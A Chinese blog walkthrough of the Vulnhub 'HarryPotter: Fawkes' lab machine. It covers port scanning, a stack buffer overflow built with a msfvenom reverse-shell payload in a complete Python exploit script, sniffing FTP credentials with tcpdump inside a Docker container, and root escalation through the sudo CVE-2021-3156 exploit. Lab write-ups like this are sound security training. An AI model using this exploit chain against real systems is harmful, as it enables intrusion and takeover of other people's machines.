• Vulnhub系列靶机---HarryPotter-Fawkes-哈利波特系列靶机-3


    靶机文档:HarryPotter: Fawkes

    下载地址:Download (Mirror)

    难易程度:难上难

    信息收集

    主机发现
     sudo netdiscover -r 192.168.8.0/24
    
    • 1

    image-20230912201415532

    端口扫描
     sudo nmap -A -p- 192.168.8.128
    
    • 1

    image-20230912202244641

    开放了ftp,web,ssh等服务

    访问80端口

    image-20230912202341747

    dirsearch扫描

    image-20230912202354945

    gobuster扫描
    gobuster dir -u http://192.168.8.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
    
    • 1

    image-20230912202839286

    尽管使用了两个扫描工具,还是没有什么有用的信息

    访问ftp看看有 什么信息

    image-20230912203206284

    image-20230912203304605

    ELF是一种文件格式,是Linux的执行文件

    赋予该 文件执行权限,,执行后没有反应

    image-20230912203516826

    查看运行端口号

    image-20230912203840843

    ss 是 Socket Statistics 的缩写。ss 命令可以用来获取 socket 统计信息,它显示的内容和 netstat 类似。但  ss 的优势在于它能够显示更多更详细的有关 TCP 和连接状态的信息,而且比 netstat 更快。当服务器的 socket  连接数量变得非常大时,无论是使用 netstat 命令还是直接 cat /proc/net/tcp,执行速度都会很慢。ss 命令利用到了 TCP 协议栈中 tcp_diag。tcp_diag 是一个用于分析统计的模块,可以获得 Linux 内核中第一手的信息,因此 ss  命令的性能会好很多。
    
    -p, –processes 显示监听端口的进程(Ubuntu 上需要 sudo)
    -a,all 对 TCP 协议来说,既包含监听的端口,也包含建立的连接
    -n, –numeric 不解析服务的名称,如 “22” 端口不会显示成 “ssh”
    -t, –tcp 显示 TCP 协议的 sockets
    -u, –udp 显示 UDP 协议的 sockets
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    发现端口号发端口扫描的时候一样,都是9898

    使用nc工具,尝试监听本地9898端口

    image-20230912204012964

    给出的信息和端口扫描的时候得出的信息一样

    image-20230912204051060

    漏洞利用

    缓冲区溢出

    进行缓冲区溢出测试之前需要关闭ASLR

    aslr是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的的一种技术。如今Linux,Windows等主流操作系统都已采用了该技术。

    将kali上的ALSR安全机制关闭,该技术会导致地址空间随机化,不便调试

    ALSR由 /proc/sys/kernel/randomize_va_space 决定,默认为2

    0 - 表示关闭进程地址空间随机化

    1 - 表示将mmap的基址,stack和vdso页面随机化。

    2 - 表示在1的基础上增加栈(heap)的随机化。

    echo 0 > /proc/sys/kernel/randomize_va_space
    
    • 1
    edb-debugger工具

    apt install deb-bebugger安装这个图形化程序调试工具

    如果安装不上可以从Github上拉取到本地,再进行编译

    安装依赖:

    sudo apt-get install        pkg-config 
    sudo apt-get install        cmake 
    sudo apt-get install        build-essential
    sudo apt-get install        libboost-dev
    sudo apt-get install        libqt5xmlpatterns5-dev
    sudo apt-get install        qtbase5-dev  
    sudo apt-get install        qt5-default    
    sudo apt-get install        libgraphviz-dev  
    sudo apt-get install        libqt5svg5-dev 
    sudo apt-get install        libcapstone-dev            
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    # build and run edb
    $ git clone --recursive https://github.com/eteran/edb-debugger.git
    $ cd edb-debugger
    $ mkdir build
    $ cd build
    $ cmake -DCMAKE_INSTALL_PREFIX=/usr/local/ ..
    $ make
    $ sudo make install
    $ edb
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    ,打开后点击attach功能,通过关键字选择已经跑起来的程序server_hogwarts(前提kali已经启动了server_hogwarts程序),点击开始按钮运行

    image-20230912220014396

    image-20230912220058135

    使用Python生成500个A进行一般探测

    python -c "print('A'*500)"
    
    • 1

    image-20230912220220257

    image-20230912220346265

    nc连接访问9898端口,注入生成的500个A

    image-20230912220840908

    image-20230912220852284

    发现目标程序崩溃,位置0x41414141出现了错误

    image-20230912220928405

    EIP寄存器存储的是下一个指令的内存地址,而ESP寄存器中存储的是具体命令

    msf-pattern工具

    寻找缓冲区溢出位置:

    使用msf生成500个随机字符串

     msf-pattern_create -l 500
    
    • 1

    image-20230913145918580

    重新打开一次那个文件,还有edb,将生成的字符串输入到咒语选择的地方

    image-20230913150150271

    image-20230913150207242

    image-20230913150644480

    通过报错提示我们得知0×64413764内存位置有问题,那这个位置很有可能就是想找的溢出位置;
    查找该段编码对应的字符串在模式字符串中的偏移量:

    msf-pattern_offset -l 500 -q 64413764
    
    • 1

    image-20230913150420058

    也就是说从模式字符串中的第113个字符串开始造成了栈溢出

    找到偏移位置后,构造反弹shell,要将构造的反弹shell十六进制后放入到ESP中,再让EIP指向ESP,反弹shell被执行

    image-20230913151049857

    image-20230913151453973

    image-20230913151500870

    找到 jmp esp 指令并记录其地址(0x08049d55

    由于机器指令需要反写,转化为16进制

      08049d55---->559d0408---->\x55\x9d\x04\x08(需要写入EIP的内容)
    
    • 1

    使用Msfvenom构造反弹shell

    Msfvenom它是一个是用来生成后门的软件

    msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.8.8 LPORT=6868 -b "\x00" -f python
    
    # LHOST:改为 kali 的 IP;
    # LPORT:改为监听反弹 shell 的端口号;
    # -b "\x00":过滤坏字符(’\0’),避免输入提前终止
    
    • 1
    • 2
    • 3
    • 4
    • 5

    image-20230913153347210

    得出的Payload:

    buf =  b""
    buf += b"\xbb\xae\xef\x70\xa4\xda\xd0\xd9\x74\x24\xf4\x5a"
    buf += b"\x33\xc9\xb1\x12\x83\xea\xfc\x31\x5a\x0e\x03\xf4"
    buf += b"\xe1\x92\x51\x39\x25\xa5\x79\x6a\x9a\x19\x14\x8e"
    buf += b"\x95\x7f\x58\xe8\x68\xff\x0a\xad\xc2\x3f\xe0\xcd"
    buf += b"\x6a\x39\x03\xa5\xac\x11\xfb\x3d\x45\x60\xfc\x27"
    buf += b"\x41\xed\x1d\xe7\x0f\xbe\x8c\x54\x63\x3d\xa6\xbb"
    buf += b"\x4e\xc2\xea\x53\x3f\xec\x79\xcb\xd7\xdd\x52\x69"
    buf += b"\x41\xab\x4e\x3f\xc2\x22\x71\x0f\xef\xf9\xf2"
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    构造exp脚本

    # exp.py
    import struct, socket,sys
    
    buf =  b""
    buf += b"\xbb\xae\xef\x70\xa4\xda\xd0\xd9\x74\x24\xf4\x5a"
    buf += b"\x33\xc9\xb1\x12\x83\xea\xfc\x31\x5a\x0e\x03\xf4"
    buf += b"\xe1\x92\x51\x39\x25\xa5\x79\x6a\x9a\x19\x14\x8e"
    buf += b"\x95\x7f\x58\xe8\x68\xff\x0a\xad\xc2\x3f\xe0\xcd"
    buf += b"\x6a\x39\x03\xa5\xac\x11\xfb\x3d\x45\x60\xfc\x27"
    buf += b"\x41\xed\x1d\xe7\x0f\xbe\x8c\x54\x63\x3d\xa6\xbb"
    buf += b"\x4e\xc2\xea\x53\x3f\xec\x79\xcb\xd7\xdd\x52\x69"
    buf += b"\x41\xab\x4e\x3f\xc2\x22\x71\x0f\xef\xf9\xf2"
    
    payload = b'A'*112 + b'\x55\x9d\x04\x08' + b'\x90'*32  + buf
    #payload = 112 * b'A' + struct.pack('I',0x08049d55) + 32 * b'\x90' + buf
    try:
    
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(('192.168.8.8', 9898))
        s.send((payload))
        s.close()
    except:
        print("Wrong!")
        sys.exit()
       
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25

    image-20230913154632899

    image-20230913160657880

    成功拿到shell

    docker容器内提权

    在harry的目录下查看到.mycreds.txt中有一串疑似密码的字符串Harryp0tter@Hogwarts123,查看是否可以用来ssh登录

    22端口下发现无法进入,前面端口探测到2222端口也是ssh服务,尝试在2222端口连接

    harry : HarrYp0tter@Hogwarts123

    ssh harry@192.168.8.128 -p 2222
    
    • 1

    image-20230913214824998

    连接成功第一件事就是看看有没有能够以root省份执行的命令

    image-20230913215122665

    结果发现有所有的权限,而且还有不需要密码

    sudo -i,使用root用户的环境变量,跳转到/root,拥有超级管理员权限

    sudo -s,使用当前用户的环境变量,不跳转目录;拥有超级管理员权限

    查看root目录下

    image-20230913215726520

    tcpdump流量分析

    Linux作为网络服务器,特别是作为路由器和网关时,数据的采集和分析是不可少的。TcpDump是Linux中强大的网络数据采集分析工具之一。

        tcpdump可以根据使用者需求对网络上传输的数据包进行捕获的抓包工具,windows平台有wireshark等工具,tcpdump可以将网络中传输的数据包的“包头”全部捕获过来进行分析,其支持网络层、特定的传输协议、数据发送和接收的主机、网卡和端口的过滤,并提供and、or、not等语句进行逻辑组合捕获数据包或去掉不用的信息
    
    • 1

    根据提示,是要让我们把21端口的流量 监听分析一下,同时,使用ip a发现,这应该不是靶机本体,应该是在一个docker中,根据ip地址进行判断,这个2222端口应该是docker中的ssh,所以我们并没有进入到靶机本体的22端口,

    image-20230913215951182

    监听21端口流量

    tcpdump -i eth0 port 21
    
    • 1

    image-20230913220245357

    发现 neville用户,密码bL!Bsg3k

    连接22端口成功,并且找到了第二个flag

    image-20230913220500158

    再次查看ip,此时已经从docker容器里出来了

    image-20230913220542561

    容器外- sudo漏洞提权

    查看sudo 版本

    sudo --version
    
    • 1

    image-20230913220714015

    网上找出该版本是sudo堆溢出漏洞,漏洞编号:CVE-2021-3156,普通用户可以通过利用此漏洞,在默认配置的 sudo 主机上获取root权限

    exp地址:https://github.com/worawit/CVE-2021-3156/blob/main/exploit_nss.py

    在靶机中查看sudo的路径

    which sudo 
    
    • 1

    image-20230913221729484

    然后修改下载的exp里的SUDO_PATH

    image-20230913222034139

    靶机开启监听,端口6868

    nc -lvnp 6868 >  exploit_nss.py
    
    • 1

    image-20230913222338542

    kali机访问靶机的6868端口,上传修改好的exp

    nc 192.168.8.128 6868 < exploit_nss.py -w 1
    
    • 1

    image-20230913222350410

    在靶机上运行exp即可提权成功!

    image-20230913222529922

    image-20230913222540359

  • 相关阅读:
    WiFi连接满格信号但是不能上网?
    FPGA-VGA成像原理与时序
    使用Keepalived实现双机热备(虚拟漂移IP地址)详细介绍
    AutoCAD Electrical 2022—连接器
    你应该这样去开发接口:Java多线程并行计算
    人工智能是个什么样的专业?
    K - 区间和 2022年CCPC女生赛
    数据结构界的幻神(First)----链表
    Redis网络模型
    助力互联网企业决胜AI时代,加速数据中心的现代化之路
  • 原文地址:https://blog.csdn.net/ZhaoSong_/article/details/132866284